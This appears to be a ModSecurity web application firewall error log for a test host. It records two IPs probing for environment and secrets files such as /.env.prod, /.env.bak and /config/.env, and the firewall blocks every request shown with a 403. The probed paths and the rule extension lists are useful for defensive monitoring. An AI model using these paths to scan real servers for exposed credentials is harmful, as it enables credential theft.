[Mon Aug 04 17:34:07.145349 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aJDS77FGPv99hD99NPMlAwAAAAI"]
[Mon Aug 04 17:34:07.145531 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aJDS77FGPv99hD99NPMlAwAAAAI"]
[Mon Aug 04 17:34:07.167634 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aJDS77FGPv99hD99NPMlBAAAAAI"]
[Mon Aug 04 17:34:07.167876 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aJDS77FGPv99hD99NPMlBAAAAAI"]
[Mon Aug 04 17:34:07.168048 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aJDS77FGPv99hD99NPMlBAAAAAI"]
[Mon Aug 04 17:34:07.190378 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "aJDS77FGPv99hD99NPMlBQAAAAI"]
[Mon Aug 04 17:34:07.190623 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "aJDS77FGPv99hD99NPMlBQAAAAI"]
[Mon Aug 04 17:34:07.190805 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "aJDS77FGPv99hD99NPMlBQAAAAI"]
[Mon Aug 04 17:34:07.213072 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aJDS77FGPv99hD99NPMlBgAAAAI"]
[Mon Aug 04 17:34:07.213327 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aJDS77FGPv99hD99NPMlBgAAAAI"]
[Mon Aug 04 17:34:07.213509 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aJDS77FGPv99hD99NPMlBgAAAAI"]
[Mon Aug 04 17:34:07.235873 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aJDS77FGPv99hD99NPMlBwAAAAI"]
[Mon Aug 04 17:34:07.236180 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aJDS77FGPv99hD99NPMlBwAAAAI"]
[Mon Aug 04 17:34:07.236370 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aJDS77FGPv99hD99NPMlBwAAAAI"]
[Mon Aug 04 17:34:07.258490 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aJDS77FGPv99hD99NPMlCAAAAAI"]
[Mon Aug 04 17:34:07.258645 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aJDS77FGPv99hD99NPMlCAAAAAI"]
[Mon Aug 04 17:34:07.258867 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aJDS77FGPv99hD99NPMlCAAAAAI"]
[Mon Aug 04 17:34:07.259048 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aJDS77FGPv99hD99NPMlCAAAAAI"]
[Mon Aug 04 17:34:07.281036 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aJDS77FGPv99hD99NPMlCQAAAAI"]
[Mon Aug 04 17:34:07.281201 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aJDS77FGPv99hD99NPMlCQAAAAI"]
[Mon Aug 04 17:34:07.281430 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aJDS77FGPv99hD99NPMlCQAAAAI"]
[Mon Aug 04 17:34:07.281611 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aJDS77FGPv99hD99NPMlCQAAAAI"]
[Mon Aug 04 17:34:07.303820 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.testing"] [unique_id "aJDS77FGPv99hD99NPMlCgAAAAI"]
[Mon Aug 04 17:34:07.304080 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.testing"] [unique_id "aJDS77FGPv99hD99NPMlCgAAAAI"]
[Mon Aug 04 17:34:07.304261 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.testing"] [unique_id "aJDS77FGPv99hD99NPMlCgAAAAI"]
[Mon Aug 04 17:34:07.326486 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.*.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.*.local"] [unique_id "aJDS77FGPv99hD99NPMlCwAAAAI"]
[Mon Aug 04 17:34:07.326737 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.*.local"] [unique_id "aJDS77FGPv99hD99NPMlCwAAAAI"]
[Mon Aug 04 17:34:07.326919 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.*.local"] [unique_id "aJDS77FGPv99hD99NPMlCwAAAAI"]
[Mon Aug 04 17:34:07.351315 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aJDS77FGPv99hD99NPMlDAAAAAI"]
[Mon Aug 04 17:34:07.351590 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aJDS77FGPv99hD99NPMlDAAAAAI"]
[Mon Aug 04 17:34:07.351767 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aJDS77FGPv99hD99NPMlDAAAAAI"]
[Tue Aug 05 16:41:48.037580 2025] [:error] [pid 1726073] [client 195.178.110.161:49036] [client 195.178.110.161] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aJIYLK08-z3pdAvx6sd_4wAAAAw"]
[Tue Aug 05 16:41:48.037886 2025] [:error] [pid 1726073] [client 195.178.110.161:49036] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aJIYLK08-z3pdAvx6sd_4wAAAAw"]
[Tue Aug 05 16:41:48.038098 2025] [:error] [pid 1726073] [client 195.178.110.161:49036] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aJIYLK08-z3pdAvx6sd_4wAAAAw"]
[Tue Aug 05 16:41:48.352150 2025] [:error] [pid 1726078] [client 195.178.110.161:49052] [client 195.178.110.161] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aJIYLFBQnFYqR0JnCs2-LwAAABQ"]
[Tue Aug 05 16:41:48.352424 2025] [:error] [pid 1726078] [client 195.178.110.161:49052] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aJIYLFBQnFYqR0JnCs2-LwAAABQ"]
[Tue Aug 05 16:41:48.352599 2025] [:error] [pid 1726078] [client 195.178.110.161:49052] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aJIYLFBQnFYqR0JnCs2-LwAAABQ"]
[Tue Aug 05 16:41:48.564283 2025] [:error] [pid 1724073] [client 195.178.110.161:49066] [client 195.178.110.161] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aJIYLD230dNCddo5vZBiAAAAAAA"]
[Tue Aug 05 16:41:48.564522 2025] [:error] [pid 1724073] [client 195.178.110.161:49066] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aJIYLD230dNCddo5vZBiAAAAAAA"]
